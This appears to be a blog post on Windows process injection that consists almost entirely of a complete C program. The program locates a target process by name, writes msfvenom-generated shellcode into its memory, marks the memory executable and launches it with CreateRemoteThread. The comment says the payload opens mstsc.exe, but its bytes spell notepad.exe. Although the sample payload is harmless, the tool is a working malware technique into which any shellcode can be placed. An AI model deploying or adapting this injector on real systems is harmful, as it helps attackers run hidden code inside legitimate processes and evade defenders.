Post

Process Injection - Shellcode Injection

Process Injection - Shellcode Injection

Process Injection - Shellcode Injection

ProcInject.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <ctype.h>   // for tolower

/*
    msfvenom -p windows/x64/exec CMD=mstsc.exe EXITFUNC=thread -f c
*/

unsigned char shellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0x9b,0xdb,0x31,0xf0,0x41,
0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x6e,0x6f,0x74,
0x65,0x70,0x61,0x64,0x2e,0x65,0x78,0x65,0x00 };



SIZE_T shellcodeSize = sizeof(shellcode) - 1;  // Exclude null terminator

// Convert wide string to lowercase
void ToLowerW(LPWSTR str) {
    for (int i = 0; str[i]; i++) {
        str[i] = (WCHAR)tolower((char)str[i]);
    }
}

// Get process handle by name (case-insensitive)
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        printf("[!] CreateToolhelp32Snapshot Failed: %lu\n", GetLastError());
        return FALSE;
    }

    PROCESSENTRY32W proc = { .dwSize = sizeof(PROCESSENTRY32W) };

    if (!Process32FirstW(hSnapshot, &proc)) {
        printf("[!] Process32FirstW Failed: %lu\n", GetLastError());
        CloseHandle(hSnapshot);
        return FALSE;
    }

    do {
        WCHAR lowerName[MAX_PATH] = { 0 };
        wcscpy_s(lowerName, MAX_PATH, proc.szExeFile);
        ToLowerW(lowerName);

        WCHAR lowerTarget[MAX_PATH] = { 0 };
        wcscpy_s(lowerTarget, MAX_PATH, szProcessName);
        ToLowerW(lowerTarget);

        if (wcscmp(lowerName, lowerTarget) == 0) {
            *dwProcessId = proc.th32ProcessID;
            *hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proc.th32ProcessID);

            if (*hProcess == NULL) {
                printf("[!] OpenProcess Failed: %lu\n", GetLastError());
            }

            CloseHandle(hSnapshot);
            return TRUE;
        }

    } while (Process32NextW(hSnapshot, &proc));

    CloseHandle(hSnapshot);
    return FALSE;
}

// Inject shellcode
BOOL InjectRemoteProcess(HANDLE hProcess, unsigned char* pShellcode, SIZE_T sSize) {
    if (!pShellcode || sSize == 0) {
        printf("[!] Invalid shellcode or size\n");
        return FALSE;
    }

    PVOID pShellcodeAddress = VirtualAllocEx(hProcess, NULL, sSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!pShellcodeAddress) {
        printf("[!] VirtualAllocEx Failed: %lu\n", GetLastError());
        return FALSE;
    }

    SIZE_T bytesWritten = 0;
    if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSize, &bytesWritten) ||
        bytesWritten != sSize) {
        printf("[!] WriteProcessMemory Failed: %lu\n", GetLastError());
        VirtualFreeEx(hProcess, pShellcodeAddress, 0, MEM_RELEASE);
        return FALSE;
    }

    DWORD oldProtect = 0;
    if (!VirtualProtectEx(hProcess, pShellcodeAddress, sSize, PAGE_EXECUTE_READWRITE, &oldProtect)) {
        printf("[!] VirtualProtectEx Failed: %lu\n", GetLastError());
        VirtualFreeEx(hProcess, pShellcodeAddress, 0, MEM_RELEASE);
        return FALSE;
    }

    printf("[+] Shellcode allocated at: %p\n", pShellcodeAddress);
    printf("[+] Press <Enter> to create remote thread...\n");
    getchar();

    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)pShellcodeAddress, NULL, 0, NULL);

    if (hThread == NULL) {
        printf("[!] CreateRemoteThread Failed: %lu\n", GetLastError());
        return FALSE;
    }

    printf("[+] Injection successful! Thread created.\n");
    CloseHandle(hThread);
    return TRUE;
}

int wmain(int argc, wchar_t* argv[]) {
    if (argc < 2) {
        wprintf(L"[!] Usage: %s <Process Name>\n", argv[0]);
        wprintf(L"Example: %s explorer.exe\n", argv[0]);
        return -1;
    }

    HANDLE hProcess = NULL;
    DWORD dwProcessId = 0;

    wprintf(L"[i] Searching for process: %s\n", argv[1]);

    if (!GetRemoteProcessHandle(argv[1], &dwProcessId, &hProcess)) {
        printf("[!] Process not found or access denied.\n");
        return -1;
    }

    wprintf(L"[+] Found process: %s (PID: %lu)\n", argv[1], dwProcessId);

    if (!InjectRemoteProcess(hProcess, shellcode, shellcodeSize)) {
        CloseHandle(hProcess);
        return -1;
    }

    printf("[+] Press <Enter> to exit\n");
    getchar();

    CloseHandle(hProcess);
    return 0;
}
This post is licensed under CC BY 4.0 by the author.